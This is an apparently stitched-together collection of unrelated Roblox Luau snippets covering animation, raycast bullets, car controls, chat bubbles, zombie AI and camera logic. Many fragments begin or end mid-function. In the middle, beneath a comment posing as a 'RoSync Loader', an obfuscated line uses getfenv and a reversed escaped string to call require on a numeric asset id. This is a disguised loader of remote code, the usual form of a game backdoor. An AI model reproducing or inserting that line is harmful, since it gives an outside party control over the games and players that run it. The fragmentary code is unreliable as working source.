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-- Tips
local tipFrame = Instance.new("Frame") tipFrame.Name = "TipFrame" tipFrame.BorderSizePixel = 0 tipFrame.AnchorPoint = Vector2.new(0, 0) tipFrame.Position = UDim2.new(0,50,0,50) tipFrame.Size = UDim2.new(1,0,1,-8) tipFrame.ZIndex = 40 tipFrame.Parent = iconContainer tipFrame.Active = false local tipCorner = Instance.new("UICorner") tipCorner.Name = "TipCorner" tipCorner.CornerRadius = UDim.new(0.25,0) tipCorner.Parent = tipFrame local tipLabel = Instance.new("TextLabel") tipLabel.Name = "TipLabel" tipLabel.BackgroundTransparency = 1 tipLabel.TextScaled = false tipLabel.TextSize = 12 tipLabel.Position = UDim2.new(0,3,0,3) tipLabel.Size = UDim2.new(1,-6,1,-6) tipLabel.ZIndex = 41 tipLabel.RichText = true tipLabel.Parent = tipFrame tipLabel.Active = false
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onSwimming(speed) if userAnimateScaleRun then speed /= getHeightScale() end if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, Humanoid) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, Humanoid) pose = "Standing" end end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action) return end end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end local lastTick = 0 function stepAnimate(currentTime) local amplitude = 1 local frequency = 1 local deltaTime = currentTime - lastTick lastTick = currentTime local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.2, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end -- Tool Animation handling local tool = Character:FindFirstChildOfClass("Tool") if tool and tool:FindFirstChild("Handle") then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = currentTime + .3 end if currentTime > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
-- Create a new ray info object. -- This is just a utility alias with some extra type checking.
function FastCast.newBehavior(): FastCastBehavior -- raycastParams, maxDistance, acceleration, canPenetrateFunction, canHitFunction, cosmeticBulletTemplate, cosmeticBulletContainer, autoIgnoreBulletContainer return { RaycastParams = nil, Acceleration = Vector3.new(), TravelType = "Distance", MaxDistance = 1000, Lifetime = 5, CanPenetrateFunction = nil, CanHitFunction = nil, HighFidelityBehavior = FastCast.HighFidelityBehavior.Default, HighFidelitySegmentSize = 0.5, CosmeticBulletTemplate = nil, CosmeticBulletProvider = nil, CosmeticBulletContainer = nil, RaycastHitbox = nil, CurrentCFrame = CFrame.new(), ModifiedDirection = Vector3.new(), AutoIgnoreContainer = true, HitEventOnTermination = false, Hitscan = false } end local DEFAULT_DATA_PACKET = FastCast.newBehavior() function FastCast:Fire(origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior?): ActiveCast if castDataPacket == nil then castDataPacket = DEFAULT_DATA_PACKET end local cast = ActiveCastStatic.new(self, origin, direction, velocity, castDataPacket) cast.RayInfo.WorldRoot = self.WorldRoot return cast end
--Settings--
local mySettings = marine.Settings local stabAnimation = myHuman:LoadAnimation(marine.Stab) stabAnimation.Priority = Enum.AnimationPriority.Action local stabPunchAnimation = myHuman:LoadAnimation(marine.StabPunch) stabPunchAnimation.Priority = Enum.AnimationPriority.Action local throwAnimation = myHuman:LoadAnimation(marine.ThrowAnimation) throwAnimation.Priority = Enum.AnimationPriority.Action throwAnimation.Looped = false
-- Read the current body orientation angle as an attribute from the server, and use it to orient the character
function OrientableBody:orientFromAttribute() local value: Vector2 = self.character:GetAttribute(ATTRIBUTE) if value then self.motor:setGoal({ horizontalAngle = Otter.spring(value.X), verticalAngle = Otter.spring(value.Y), }) end end
-- Create remote instance
local updateWalkspeedRemote = Instance.new("RemoteEvent", game.ReplicatedStorage) updateWalkspeedRemote.Name = "UpdateWalkspeed"
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.LeftShift , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--[[ Last synced 12/13/2020 04:10 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- Constants
local WALK_SPEED = 24 -- Running speed of the player local DEFAULT_SPEED = 12 -- Default walking speed of the player
---------------------------------------------------------------------- --------------------[ TRAIL HANDLING ]-------------------------------- ----------------------------------------------------------------------
local createTrail = script:WaitForChild("createTrail") createTrail.OnServerEvent:connect(function(_, Origin, P, gunIgnore, S) local Trail = Instance.new("Part") Trail.BrickColor = S.trailSettings.Color Trail.Transparency = S.trailSettings.Transparency Trail.Anchored = true Trail.CanCollide = false Trail.Size = V3(1, 1, 1) local Mesh = Instance.new("CylinderMesh") Mesh.Offset = V3(0, -(P - Origin).magnitude / 2, 0) Mesh.Scale = V3(S.trailSettings.Thickness, (P - Origin).magnitude, S.trailSettings.Thickness) Mesh.Parent = Trail Trail.Parent = gunIgnore Trail.CFrame = CF(Origin, P) * CFANG(RAD(90), 0, 0) delay(S.trailSettings.visibleTime, function() if S.trailSettings.disappearTime > 0 then local t0 = tick() while true do local Alpha = math.min((tick() - t0) / S.trailSettings.disappearTime, 1) Trail.Transparency = numLerp(S.trailSettings.Transparency, 1, Alpha) if Alpha == 1 then break end wait() end Trail:Destroy() else Trail:Destroy() end end) end)
--// F key, HornOff
mouse.KeyUp:connect(function(key) if key=="f" then veh.Lightbar.middle.Airhorn:Stop() veh.Lightbar.middle.Wail.Volume = 3 veh.Lightbar.middle.Yelp.Volume = 3 veh.Lightbar.middle.Priority.Volume = 3 veh.Lightbar.HORN.Transparency = 1 end end)
--Values--
local car = script.Parent.Parent.Car.Value local FE = workspace.FilteringEnabled local _Tune = require(car["A-Chassis Tune"]) local Redline = _Tune.Redline local maxPSI = WasteGatePressure local totalPSI = 0 local actualPSI = 0 local CR = CompressionRatio local TC = TurboCount local handler = car:WaitForChild("UpdateAndMake") local Values = script.Parent.Parent.Values local Throttle = script.Parent.Parent.Values.Throttle.Value local BOVFix = (1 - Throttle) local tester = 1 local BOVact = 0 local BOVact2 = 0 local Whistle = car.DriveSeat:WaitForChild("Whistle") local BOV = car.DriveSeat:WaitForChild("BOV") Whistle:Play()
--track serverside attention target table to give newly joined players
local targets = {} broadcastAttention.OnServerEvent:Connect(function (player, target) if player then broadcastAttention:FireAllClients(player, target) targets[player] = target end end) getAttentionOnJoin.OnServerEvent:Connect(function (player) if player then getAttentionOnJoin:FireClient(player, targets) end end)
--[[Controls]]
local _CTRL = _Tune.Controls local Controls = Instance.new("Folder",script.Parent) Controls.Name = "Controls" for i,v in pairs(_CTRL) do local a=Instance.new("StringValue",Controls) a.Name=i a.Value=v.Name a.Changed:connect(function() if i=="MouseThrottle" or i=="MouseBrake" then if a.Value == "MouseButton1" or a.Value == "MouseButton2" then _CTRL[i]=Enum.UserInputType[a.Value] else _CTRL[i]=Enum.KeyCode[a.Value] end else _CTRL[i]=Enum.KeyCode[a.Value] end end) end --Deadzone Adjust local _PPH = _Tune.Peripherals for i,v in pairs(_PPH) do local a = Instance.new("IntValue",Controls) a.Name = i a.Value = v a.Changed:connect(function() a.Value=math.min(100,math.max(0,a.Value)) _PPH[i] = a.Value end) end --Input Handler function DealWithInput(input,IsRobloxFunction) if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus --Shift Down [Manual Transmission] if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end _CGear = math.max(_CGear-1,-1) car.DriveSeat.Filter:FireServer('shift',false) --Shift Up [Manual Transmission] elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end _CGear = math.min(_CGear+1,#_Tune.Ratios-2) car.DriveSeat.Filter:FireServer('shift',true) --Toggle Clutch elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then if input.UserInputState == Enum.UserInputState.Begin then _ClutchOn = false _ClPressing = true elseif input.UserInputState == Enum.UserInputState.End then _ClutchOn = true _ClPressing = false end --Toggle PBrake elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then if input.UserInputState == Enum.UserInputState.Begin then _PBrake = not _PBrake elseif input.UserInputState == Enum.UserInputState.End then if car.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end end --Toggle Transmission Mode elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then local n=1 for i,v in pairs(_Tune.TransModes) do if v==_TMode then n=i break end end n=n+1 if n>#_Tune.TransModes then n=1 end _TMode = _Tune.TransModes[n] --Throttle elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin then _GThrot = 1 else _GThrot = _Tune.IdleThrottle/100 end --Brake elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin then _GBrake = 1 else _GBrake = 0 end --Steer Left elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = -1 _SteerL = true else if _SteerR then _GSteerT = 1 else _GSteerT = 0 end _SteerL = false end --Steer Right elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = 1 _SteerR = true else if _SteerL then _GSteerT = -1 else _GSteerT = 0 end _SteerR = false end --Toggle Mouse Controls elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then if input.UserInputState == Enum.UserInputState.End then _MSteer = not _MSteer _GThrot = _Tune.IdleThrottle/100 _GBrake = 0 _GSteerT = 0 _ClutchOn = true end --Toggle TCS elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then if input.UserInputState == Enum.UserInputState.End then _TCS = not _TCS end --Toggle ABS elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then if input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end end --Variable Controls if input.UserInputType.Name:find("Gamepad") then --Gamepad Steering if input.KeyCode == _CTRL["ContlrSteer"] then if input.Position.X>= 0 then local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X-cDZone)/(1-cDZone) else _GSteerT = 0 end else local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X+cDZone)/(1-cDZone) else _GSteerT = 0 end end --Gamepad Throttle elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then _GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z) --Gamepad Brake elseif input.KeyCode == _CTRL["ContlrBrake"] then _GBrake = input.Position.Z end end else _GThrot = _Tune.IdleThrottle/100 _GSteerT = 0 _GBrake = 0 if _CGear~=0 then _ClutchOn = true end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput) UserInputService.InputEnded:connect(DealWithInput)
--// All remote events will have a no-opt OnServerEvent connecdted on construction
local function CreateEventIfItDoesntExist(parentObject, objectName) local obj = CreateIfDoesntExist(parentObject, objectName, "RemoteEvent") obj.OnServerEvent:Connect(emptyFunction) return obj end CreateEventIfItDoesntExist(EventFolder, "OnNewMessage") CreateEventIfItDoesntExist(EventFolder, "OnMessageDoneFiltering") CreateEventIfItDoesntExist(EventFolder, "OnNewSystemMessage") CreateEventIfItDoesntExist(EventFolder, "OnChannelJoined") CreateEventIfItDoesntExist(EventFolder, "OnChannelLeft") CreateEventIfItDoesntExist(EventFolder, "OnMuted") CreateEventIfItDoesntExist(EventFolder, "OnUnmuted") CreateEventIfItDoesntExist(EventFolder, "OnMainChannelSet") CreateEventIfItDoesntExist(EventFolder, "ChannelNameColorUpdated") CreateEventIfItDoesntExist(EventFolder, "SayMessageRequest") CreateEventIfItDoesntExist(EventFolder, "SetBlockedUserIdsRequest") CreateIfDoesntExist(EventFolder, "GetInitDataRequest", "RemoteFunction") CreateIfDoesntExist(EventFolder, "MutePlayerRequest", "RemoteFunction") CreateIfDoesntExist(EventFolder, "UnMutePlayerRequest", "RemoteFunction") EventFolder = useEvents local function CreatePlayerSpeakerObject(playerObj) --// If a developer already created a speaker object with the --// name of a player and then a player joins and tries to --// take that name, we first need to remove the old speaker object local speaker = ChatService:GetSpeaker(playerObj.Name) if (speaker) then ChatService:RemoveSpeaker(playerObj.Name) end speaker = ChatService:InternalAddSpeakerWithPlayerObject(playerObj.Name, playerObj, false) for _, channel in pairs(ChatService:GetAutoJoinChannelList()) do speaker:JoinChannel(channel.Name) end speaker:InternalAssignEventFolder(EventFolder) speaker.ChannelJoined:connect(function(channel, welcomeMessage) local log = nil local channelNameColor = nil local channelObject = ChatService:GetChannel(channel) if (channelObject) then log = channelObject:GetHistoryLogForSpeaker(speaker) channelNameColor = channelObject.ChannelNameColor end EventFolder.OnChannelJoined:FireClient(playerObj, channel, welcomeMessage, log, channelNameColor) end) speaker.Muted:connect(function(channel, reason, length) EventFolder.OnMuted:FireClient(playerObj, channel, reason, length) end) speaker.Unmuted:connect(function(channel) EventFolder.OnUnmuted:FireClient(playerObj, channel) end) ChatService:InternalFireSpeakerAdded(speaker.Name) end EventFolder.SayMessageRequest.OnServerEvent:connect(function(playerObj, message, channel) if type(message) ~= "string" then return elseif not validateMessageLength(message) then return end if type(channel) ~= "string" then return elseif not validateChannelNameLength(channel) then return end local speaker = ChatService:GetSpeaker(playerObj.Name) if (speaker) then return speaker:SayMessage(message, channel) end return nil end) EventFolder.MutePlayerRequest.OnServerInvoke = function(playerObj, muteSpeakerName) if type(muteSpeakerName) ~= "string" then return end local speaker = ChatService:GetSpeaker(playerObj.Name) if speaker then local muteSpeaker = ChatService:GetSpeaker(muteSpeakerName) if muteSpeaker then speaker:AddMutedSpeaker(muteSpeaker.Name) return true end end return false end EventFolder.UnMutePlayerRequest.OnServerInvoke = function(playerObj, unmuteSpeakerName) if type(unmuteSpeakerName) ~= "string" then return end local speaker = ChatService:GetSpeaker(playerObj.Name) if speaker then local unmuteSpeaker = ChatService:GetSpeaker(unmuteSpeakerName) if unmuteSpeaker then speaker:RemoveMutedSpeaker(unmuteSpeaker.Name) return true end end return false end
--[[ FUNCTIONS ]]
local function lerpLength(msg, min, max) return min + (max-min) * math.min(string.len(msg)/75.0, 1.0) end local function createFifo() local this = {} this.data = {} local emptyEvent = Instance.new("BindableEvent") this.Emptied = emptyEvent.Event function this:Size() return #this.data end function this:Empty() return this:Size() <= 0 end function this:PopFront() table.remove(this.data, 1) if this:Empty() then emptyEvent:Fire() end end function this:Front() return this.data[1] end function this:Get(index) return this.data[index] end function this:PushBack(value) table.insert(this.data, value) end function this:GetData() return this.data end return this end local function createCharacterChats() local this = {} this.Fifo = createFifo() this.BillboardGui = nil return this end local function createMap() local this = {} this.data = {} local count = 0 function this:Size() return count end function this:Erase(key) if this.data[key] then count = count - 1 end this.data[key] = nil end function this:Set(key, value) this.data[key] = value if value then count = count + 1 end end function this:Get(key) if not key then return end if not this.data[key] then this.data[key] = createCharacterChats() local emptiedCon = nil emptiedCon = this.data[key].Fifo.Emptied:connect(function() emptiedCon:disconnect() this:Erase(key) end) end return this.data[key] end function this:GetData() return this.data end return this end local function createChatLine(message, bubbleColor, isLocalPlayer) local this = {} function this:ComputeBubbleLifetime(msg, isSelf) if isSelf then return lerpLength(msg,8,15) else return lerpLength(msg,12,20) end end this.Origin = nil this.RenderBubble = nil this.Message = message this.BubbleDieDelay = this:ComputeBubbleLifetime(message, isLocalPlayer) this.BubbleColor = bubbleColor this.IsLocalPlayer = isLocalPlayer return this end local function createPlayerChatLine(player, message, isLocalPlayer) local this = createChatLine(message, BubbleColor.WHITE, isLocalPlayer) if player then this.User = player.Name this.Origin = player.Character end return this end local function createGameChatLine(origin, message, isLocalPlayer, bubbleColor) local this = createChatLine(message, bubbleColor, isLocalPlayer) this.Origin = origin return this end function createChatBubbleMain(filePrefix, sliceRect) local chatBubbleMain = Instance.new("ImageLabel") chatBubbleMain.Name = "ChatBubble" chatBubbleMain.ScaleType = Enum.ScaleType.Slice chatBubbleMain.SliceCenter = sliceRect chatBubbleMain.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png" chatBubbleMain.BackgroundTransparency = 1 chatBubbleMain.ImageColor3 = Color3.fromRGB(0,0,0) chatBubbleMain.BorderSizePixel = 0 chatBubbleMain.Size = UDim2.new(1.0, 0, 1.0, 0) chatBubbleMain.Position = UDim2.new(0,0,0,0) return chatBubbleMain end function createChatBubbleTail(position, size) local chatBubbleTail = Instance.new("ImageLabel") chatBubbleTail.Name = "ChatBubbleTail" chatBubbleTail.Image = "rbxasset://textures/ui/dialog_tail.png" chatBubbleTail.BackgroundTransparency = 1 chatBubbleTail.BorderSizePixel = 0 chatBubbleTail.Position = position chatBubbleTail.Size = size chatBubbleTail.ImageColor3 = Color3.fromRGB(0,0,0) return chatBubbleTail end function createChatBubbleWithTail(filePrefix, position, size, sliceRect) local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect) local chatBubbleTail = createChatBubbleTail(position, size) chatBubbleTail.Parent = chatBubbleMain return chatBubbleMain end function createScaledChatBubbleWithTail(filePrefix, frameScaleSize, position, sliceRect) local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect) local frame = Instance.new("Frame") frame.Name = "ChatBubbleTailFrame" frame.BackgroundTransparency = 1 frame.SizeConstraint = Enum.SizeConstraint.RelativeXX frame.BackgroundColor3 = Color3.fromRGB(0,0,0) frame.Position = UDim2.new(0.5, 0, 1, 0) frame.Size = UDim2.new(frameScaleSize, 0, frameScaleSize, 0) frame.Parent = chatBubbleMain local chatBubbleTail = createChatBubbleTail(position, UDim2.new(1,0,0.5,0)) chatBubbleTail.Parent = frame return chatBubbleMain end function createChatImposter(filePrefix, dotDotDot, yOffset) local result = Instance.new("ImageLabel") result.Name = "DialogPlaceholder" result.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png" result.BackgroundTransparency = 1 result.BorderSizePixel = 0 result.ImageColor3 =Color3.fromRGB(0,0,0) result.Position = UDim2.new(0, 0, -1.25, 0) result.Size = UDim2.new(1, 0, 1, 0) local image = Instance.new("ImageLabel") image.Name = "DotDotDot" image.Image = "rbxasset://textures/" .. tostring(dotDotDot) .. ".png" image.BackgroundTransparency = 1 image.BorderSizePixel = 0 image.Position = UDim2.new(0.001, 0, yOffset, 0) image.Size = UDim2.new(1, 0, 0.7, 0) image.Parent = result return result end local this = {} this.ChatBubble = {} this.ChatBubbleWithTail = {} this.ScalingChatBubbleWithTail = {} this.CharacterSortedMsg = createMap()
------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- -- STATE CHANGE HANDLERS
function onRunning(speed) if speed > 0.5 then playAnimation("run", 0.2, Humanoid) pose = "Running" else if emoteNames[currentAnim] == nil then playAnimation("idle", 0.2, Humanoid) pose = "Standing" end end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) local scale = 5.0 playAnimation("climb", 0.1, Humanoid) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end
-- ROBLOX FIXME: workaround for defult generic param
export type Matchers_<R> = Matchers<R, unknown> return {}
-- if ZombieTarget.Torso.Position.Y > model.Torso.Position.Y + 2 then -- model.Humanoid.Jump = true -- end
end end end PursueState.Init = function() end -- AttackState: Keep moving towards target and play attack animation. local AttackState = StateMachine.NewState() AttackState.Name = "Attack" local lastAttack = os.time() local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack) AttackState.Action = function() model.Humanoid:MoveTo(ZombieTarget.Torso.Position) local now = os.time() if now - lastAttack > 3 then lastAttack = now attackTrack:Play() end end -- HuntState: Can't see target but NPC will move to target's last known location. -- Will eventually get bored and switch state. local HuntState = StateMachine.NewState() HuntState.Name = "Hunt" HuntState.Action = function() if ZombieTargetLastLocation then PathLib:MoveToTarget(model, ZombieTargetLastLocation) end end HuntState.Init = function() lastBored = os.time() + configs["BoredomDuration"] / 2 end -- CONDITION DEFINITIONS -- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and -- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed -- greater than 0 (this is to ignore inanimate objects that happen to use humanoids) local CanSeeTarget = StateMachine.NewCondition() CanSeeTarget.Name = "CanSeeTarget" CanSeeTarget.Evaluate = function() if model then -- Get list of all nearby Zombies and non-Zombie humanoids -- Zombie list is used to ignore zombies during later raycast local humanoids = HumanoidList:GetCurrent() local zombies = {} local characters = {} for _, object in pairs(humanoids) do if object and object.Parent and object.Parent:FindFirstChild("Torso") and object.Health > 0 and object.WalkSpeed > 0 then local torso = object.Parent:FindFirstChild("Torso") if torso then local distance = (model.Torso.Position - torso.Position).magnitude if distance <= configs["AggroRange"] then if object.Parent.Name == "Zombie" then table.insert(zombies, object.Parent) else table.insert(characters, object.Parent) end end end end end local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"]) if target then ZombieTarget = target return true end
--////////////////////////////// Include --//////////////////////////////////////
local ChatConstants = require(ReplicatedModules:WaitForChild("ChatConstants")) local ChatChannel = require(modulesFolder:WaitForChild("ChatChannel")) local Speaker = require(modulesFolder:WaitForChild("Speaker")) local Util = require(modulesFolder:WaitForChild("Util"))
--[=[ Helpful functions involving Roblox groups. @class GroupUtils ]=]
local require = require(script.Parent.loader).load(script) local GroupService = game:GetService("GroupService") local Promise = require("Promise") local GroupUtils = {}
-- Services
local MarketplaceService = game:GetService("MarketplaceService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local ServerStorage = game:GetService("ServerStorage") local Players = game:GetService("Players") local Utilities = require(ServerStorage.Utilities) local Configurations = require(ServerStorage.Configurations)
-- Takes an instance and overlays it on top of a parent. This is used for -- overlaying a DevModule's DataModel-based layout on top of existing services.
local function overlay(instance: Instance, parent: Instance) for _, child in ipairs(instance:GetChildren()) do local existingChild = parent:FindFirstChild(child.Name) if existingChild and child.ClassName == "Folder" then overlay(child, existingChild) else move(child, parent) end end end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "Spin blue bone" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Actual measured distance to the camera Focus point, which may be needed in special circumstances, but should -- never be used as the starting point for updating the nominal camera-to-subject distance (self.currentSubjectDistance) -- since that is a desired target value set only by mouse wheel (or equivalent) input, PopperCam, and clamped to min max camera distance
function BaseCamera:GetMeasuredDistanceToFocus() local camera = game.Workspace.CurrentCamera if camera then return (camera.CoordinateFrame.p - camera.Focus.p).magnitude end return nil end function BaseCamera:GetCameraLookVector() return game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame.lookVector or UNIT_Z end function BaseCamera:CalculateNewLookCFrameFromArg(suppliedLookVector, rotateInput) local currLookVector = suppliedLookVector or self:GetCameraLookVector() local currPitchAngle = math.asin(currLookVector.y) local yTheta = math.clamp(rotateInput.y, -MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle) local constrainedRotateInput = Vector2.new(rotateInput.x, yTheta) local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector) local newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0) return newLookCFrame end function BaseCamera:CalculateNewLookVectorFromArg(suppliedLookVector, rotateInput) local newLookCFrame = self:CalculateNewLookCFrameFromArg(suppliedLookVector, rotateInput) return newLookCFrame.lookVector end function BaseCamera:CalculateNewLookVectorVRFromArg(rotateInput) local subjectPosition = self:GetSubjectPosition() local vecToSubject = (subjectPosition - game.Workspace.CurrentCamera.CFrame.p) local currLookVector = (vecToSubject * X1_Y0_Z1).unit local vrRotateInput = Vector2.new(rotateInput.x, 0) local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector) local yawRotatedVector = (CFrame.Angles(0, -vrRotateInput.x, 0) * startCFrame * CFrame.Angles(-vrRotateInput.y,0,0)).lookVector return (yawRotatedVector * X1_Y0_Z1).unit end function BaseCamera:GetHumanoid() local character = player and player.Character if character then local resultHumanoid = self.humanoidCache[player] if resultHumanoid and resultHumanoid.Parent == character then return resultHumanoid else self.humanoidCache[player] = nil -- Bust Old Cache local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then self.humanoidCache[player] = humanoid end return humanoid end end return nil end function BaseCamera:GetHumanoidPartToFollow(humanoid, humanoidStateType) if humanoidStateType == Enum.HumanoidStateType.Dead then local character = humanoid.Parent if character then return character:FindFirstChild("Head") or humanoid.Torso else return humanoid.Torso end else return humanoid.Torso end end
-- ROBLOX note: this flowtype built-in is derived from the object shape returned by forwardRef
export type React_AbstractComponent<Config, Instance> = { ["$$typeof"]: number, render: ((props: Config, ref: React_Ref<Instance>) -> React_Node)?, displayName: string?, defaultProps: Config?, -- not in React flowtype, but is in definitelytyped and is used in ReactElement name: string?, -- allows methods to be hung on a component, used in forwardRef.spec regression test we added [string]: any, }
--// ------------------------------- //-- --// Don't edit anything below here! //-- --// ------------------------------- //--
